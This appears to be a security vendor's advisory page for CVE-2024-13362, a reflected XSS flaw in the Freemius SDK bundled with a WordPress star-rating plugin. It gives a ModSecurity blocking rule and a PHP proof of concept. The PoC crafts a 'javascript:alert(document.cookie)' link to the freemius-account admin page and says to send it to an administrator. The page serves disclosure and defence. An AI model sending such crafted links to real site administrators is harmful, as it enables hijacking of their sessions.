+    define( 'YASR_VERSION_NUM', '3.4.15' );
     //Plugin absolute path
     //e.g. /var/www/html/plugin_development/wp-content/plugins/yet-another-stars-rating
     define( 'YASR_ABSOLUTE_PATH', __DIR__ );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
# This rule blocks exploitation attempts against the reflected XSS in Freemius SDK.
# It matches the vulnerable admin.php page with freemius-account and a url parameter
# containing a javascript: URI scheme, which is the primary attack vector.

SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected XSS in Freemius SDK via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress',tag:'xss'"
  SecRule ARGS_GET:page "@streq freemius-account" "chain"
  SecRule ARGS_GET:url "@rx ^javascript:" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Reflected DOM-Based Cross-Site Scripting via url Parameter

/*
 * This proof of concept demonstrates the reflected XSS vulnerability in the Freemius SDK
 * bundled with plugins like Yet Another Stars Rating.
 * The attack injects JavaScript via the url parameter into an admin page.
 * When an admin clicks the crafted link, the script executes in their browser session.
 */

// Configuration - replace with your target WordPress URL
$target_url = 'http://localhost/wordpress';

// The vulnerable endpoint is the Freemius admin account page
$endpoint = $target_url . '/wp-admin/admin.php?page=freemius-account';

// Craft the XSS payload in the url parameter
// The Freemius SDK constructs a link/button using this parameter without escaping
$xss_payload = 'javascript:alert(document.cookie)';

$vulnerable_url = $endpoint . '&url=' . urlencode($xss_payload);

echo "[+] Atomic Edge CVE-2024-13362 Proof of Conceptn";
echo "[+] Target: $target_urln";
echo "[+] Vulnerable URL: $vulnerable_urlnn";
echo "[+] Send this URL to an administrator. When they access it,n";
echo "    the JavaScript will execute in their browser context.n";
echo "    Payload: alert(document.cookie)nn";
echo "[+] Paste the following link:n";
echo $vulnerable_url . "n";

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